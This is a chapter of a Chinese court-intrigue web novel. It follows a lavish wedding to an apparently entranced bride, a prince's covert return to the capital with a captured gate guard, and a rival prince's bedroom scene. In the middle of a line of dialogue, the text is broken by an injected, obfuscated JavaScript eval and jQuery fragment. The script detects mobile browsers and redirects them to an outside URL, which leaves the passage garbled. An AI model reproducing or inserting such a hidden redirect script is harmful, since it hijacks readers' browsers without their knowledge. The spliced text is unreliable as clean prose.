111. 大婚

作品:《杳杳玄音

    九月廿日,诸事皆宜。


    十里红妆铺满京城,定国公世子与静姝郡主的婚事成为京城百姓议论的焦点。


    皆道郎才女貌,天作之合。


    定国公府中,身为萧临羡继母的国公夫人上个月便突然中风被送到庄里养病,她的两个宝贝儿子则被萧临羡送去千里外的明州书院念书,美其名曰为他们好。


    定国公临到老矣,方觉自己活得像个笑话。萧临羡昨夜告诫他,若是敢在婚礼上闹事,便当场将他也送去庄子里,他敢怒不敢言,憋着一口气替他张罗婚事。


    而镇南侯府,早在一月前,陆昭熙便找来了最严厉的教引嬷嬷,陆昭然在日复一日的幽禁“训练”中,在人前显露的一举一动都堪称礼仪典范。


    却无人瞧得见喜帕下的盛妆新娘,脸上挂着最得体的笑容,却双眼无神,呆若木鸡,诡异之极。


    定国公府大开府门,大摆三百桌流水席,不少京中百姓闻风而来,将朱雀大街堵得严严实实。


    周暄和季希音乔装一番,早早来到订好的茶楼包房,从二楼望出去,迎亲队伍一眼望不到头。


    只见萧临羡一身大红喜服,整个人面若冠玉,风姿耀眼,身姿板正端坐一匹墨色骏马之上。


    他唇角噙着一抹压抑不住的喜意,面对围观百姓的打趣竟破天荒的颔首回应。


    季希音站在窗前点评道:“周暄,你猜萧临羡对陆昭然到底是不是真心的?看他满面喜色,我猜八分真心还是有的。”


    周暄眸光从最前方的一对喜雁处收回,抿唇道:“不过如此。”


    季希音不明所以,疑惑地看向他:“你不信他用情至深?”


    周暄并未直接回答她的问话,而是用衣袖遮掩下的手掌同她十指相扣:“我们的这一天也不会远了。”


    季希音这下听懂了,脸颊微红嗔他一眼:“我又没想这个。”


    “好,是我想了。”


    “殿下还有多久到?”


    “算时间,应当就这两日了。”


    迎亲队伍返回到定国公府,在热闹的喧哗声中,来到挂满红绸的喜堂。


    按照习俗,一对新人先拜天地,再拜父母高堂,最后夫妻对拜。


    可没想到,喜娘刚唱罢拜天地,萧临羡便将大红绸子搭到陆昭然的手上,牵着她相对而立。


    喜娘经验丰富,可不敢忤逆当红的萧世子,连忙腆着笑改了唱词。被忽视的定国公吹胡子瞪眼,狠狠一拍圈椅扶手,没有起到半点威慑不说,还将手震得生疼。


    “送入洞房!”喜娘的这句话如同投入水面的石子,方才还相对安静的喜堂瞬间响起热闹的打趣声。


    萧临羡颇为有礼的向诸位告罪,径直牵起陆昭然返回后院。


    甫一进新房他便挥挥手示意众人退下,喜娘欲言又止,被他的小厮给拉出屋外。


    陆昭然安静地坐在大红床榻上,他不由得放缓呼吸,缓步上前,屏息挑下喜帕。


    满室的红烛光似乎黯淡了一瞬。金色的流苏垂在精致的额际,鼻梁秀挺,唇如点珠,她低垂的眼睫轻颤,只不过那双眼眸里并未盛满星光或秋水,而是黯淡无光。


    萧临羡仿佛毫不意外,他执起陆昭然的纤手,放在唇边轻吻,哑声喃喃:“昭然,我终于将你娶回来了。”


    他亲自为陆昭然拆掉凤冠,解开繁复的盘发,让青丝垂落在肩头,他环过陆昭然的腰身,将她抱入怀中。


    他灼热地望着新婚妻子那张在梦中出现千百次的容颜,贪婪而又克制地轻覆她的红唇:“昭然,从此往后,你便是我名正言顺的妻子。”


    陆昭然眼角一滴泪滑落入衣襟,瞬息又消失不见。


    萧临羡大婚翌日,定国公眼不见未尽,留信一封搬去城外寺中礼佛,萧临羡乐得他自己走掉,干脆将府中大半仆人都遣散,只留下少许贴身伺候的。


    婚后休沐几日,日日闲赋在家陪着新妇,上无婆母侍奉,下无妯娌牵制,陆昭然在他的精心照料下,渐渐对他的动作和话语有了回应,偶尔看见新奇玩意儿唇角会流露出笑意。


    萧临羡欣喜若狂,整日粘和她黏在一起,两人如胶似漆,在下人眼中,宛如一对神仙眷侣。


    比起两耳不闻窗外事的萧临羡,城门口负责的守卫的徐昂急得差点抓破头皮。


    时值九月,天色黑的早,城门关闭也比往日早两刻钟。


    昨日他当值快结束时,恰逢天色昏沉沉,要落雨的样子,他准备检查完最后一列人,好早些回去瞧家里的大胖小子。


    可是,排在末尾的几个衣着朴素的男子再一次让他觉得不对劲。


    他们并未站在一起,前后隔着几个人,可眼神交汇直接,徐昂分明瞧出他们在眼神暗示对方什么。


    更重要的是,其中一名肤色黝黑,身上布衣落满补丁的少年,他说着一口流利的明州话来云京寻亲,但莫名的,徐昂总觉得他的眉眼好似在哪见过。


    一旁值守的同僚调侃:“难不成你认识他亲戚?”


    少年说出一个陌生的名字,用期盼的眼神望着他,徐昂摇头表示并未听过,少年脸上转瞬落寞,低声道:“谢谢官爷,家舅已经许多年没联络了,我……我也是想来云京找了试试。”


    少年失落的走后,同僚叹气:“七八年没联系,要么人没了,要么就不想管他,瞧他的落魄样,无长辈护佑生活艰难哦!”


    徐昂望着他离去的背影皱起眉头。


    抱着怀疑的态度,徐昂立马换了一身常服,悄悄跟着少年拐过三条街,进入一条偏僻的巷子,还未瞧清眼前,头上落下剧痛,眼前模糊出现一双成熟深邃的眼睛。


    是了,他想起来在哪见过了。


    因他目力极好,天圣节凑热闹时,隔着五六十丈的距离,他将高台上受人瞩目的皇帝和他身旁的两名年轻皇子瞧得一清二楚。


    目如朗星,龙章凤姿,燕王齐晟。


    敲人闷棍的墨染咧嘴道:“奇怪,这人怎么认出殿下的?殿下你认识他吗?”


    齐晟仔细看过他的脸,拧眉思索:“不曾打过照面。”


    “那怎么办?留在这里的话若是他明日去揭发殿下……”


    “那便一起带走吧!”


    墨染带着齐晟,七拐八绕,又花了半个多时辰才来到周暄居住的小院,几人分隔多日终于聚首。


    季希音刚好和画扇将做好的饭食端上桌,就见墨染和齐晟翻墙而入不说,还随手丢了个人在地上。


    ……


    她端着盘子,好奇地过去轻轻踢了两脚:“你们从哪带回来的死人?”


    脚下的“死人”不甘心的发出哼哼声,努力翻转过来,肿胀的眼皮和季希音对个正着。


    “瞧着有些眼熟……”季希音喃喃。


    周暄皱眉询问:“怎么回事?”


    墨染只得尴尬解释一番,季希音好奇居然有人能看破她的家传易容之术,放好盘子跑回来蹲下与徐昂对视。


    她伸出手指戳了戳他:“你怎么瞧出来的?说清楚,我保


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626853|181528||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    证他们不打死你。”


    徐昂此刻已经完全清醒过来,他眼珠转过一圈,院子里的人瞧得一清二楚,而且全都认识……


    惊骇之下他整个人紧闭眼睛努力蜷缩起来,浑身抖得一颤一颤的。


    “额……他怎么了?发病了?”季希音不由得后退一步。


    周暄难得挤出一丝笑意:“他应当是认出了我们所有人,吓坏了。”


    话刚说完,徐昂抖得更厉害了。


    他们还有要事相商,暂时没空理会他,也就任由他继续躺在院子里,一群人进了里屋边用饭边交换信息。


    徐昂躺了半晌,发现身边空无一人,他悄悄睁开眼睛,越琢磨现下的处境越觉得自己不如继续昏过去的好……


    齐晟将自己这段时日所得一一告知。


    他带着一队人乔装进入明州,非常快速得到了明州刺史的支持,细问之下,明州刺史郭大人称,他早在半月前就接到陛下的密旨,要他无论如何全力支持燕王。


    彼时尚不清楚时局的郭刺史还以为皇帝要试探他的忠心,没想到过了几日就接到皇帝病重不起,燕王下落不明的消息。


    齐晟揉揉发红的眼角,喟然长叹:“想不到父皇早就为我安排好了一切。”


    “叶家兄弟呢?”


    “叶二郎扮做我,叶三郎分作两支队伍,目前潜伏在云京城五十里外,但人太多了,估计瞒不了多久。”


    “咦?为何要扮做你?”季希音给他们端来茶盏,刚好听到这一句。


    齐晟眼神一黯,沉默片刻道:“寻得明州援军后,我没想到身边还有奸细,吴副将为救我受了重伤,叶二郎便给我出主意,干脆将计就计他扮成我,假装重伤,迷惑对方。”


    季希音听到吴副将重伤,心里很不是滋味,这条路,不知还要多少具尸体铺就。


    “殿下,眼下不是伤怀的时候,只有你登上大保,救出陛下,方能慰藉一路以来拼上性命也要相助你的人。”


    周暄知晓齐晟本质是个心怀仁爱的人,若不是时局所迫,他也不愿用他人性命去成就自己。


    可这条路一旦踏上,就没有回头可言,他必须站在齐晟的身后,辅助他,推着他也要将他推到最高峰。如此一来,才不负景仁帝对他的信任。


    齐晟明白他所言,从胸中吐出一道悠长的气息,郑重承诺:“谢谢暄哥,我明白!”


    “好,接下来我们来商议,要如何在庆功宴混进宫中。殿下,你要这样……”


    “明日墨染会出京递最后一次消息,楚王举办庆功宴之时,就是黑甲军杀入京城之时!”


    当晚,楚王居住的瑞云宫中。


    兰锦捡起散落的衣裙一件件穿上,楚王躺在榻上满足的欣赏她丰满的娇躯。


    门口传来敲门声:“殿下,有宫外传来的加急信件。”


    “进来。”楚王毫无顾忌直接唤道。


    兰锦衣服尚未穿好,惊呼一声忙躲到屏风后。


    进来的内侍是楚王心腹怀义,他低眉顺眼将信件呈给楚王,不敢多看一眼。


    片刻后,楚王哈哈大笑起来:“重伤?哈哈哈看他还怎么和我斗!”


    兰锦看他高兴,半披着衣裳挨过来,娇声:“殿下收到什么好消息了这么高兴?”


    楚王捏住她的下颌轻啄一口,轻佻道:“没有你这个宝贝好!”


    兰锦发出断断续续的娇呼,两人在榻上再次滚作一团。


    怀义轻手轻脚退出去,将殿门再次关好。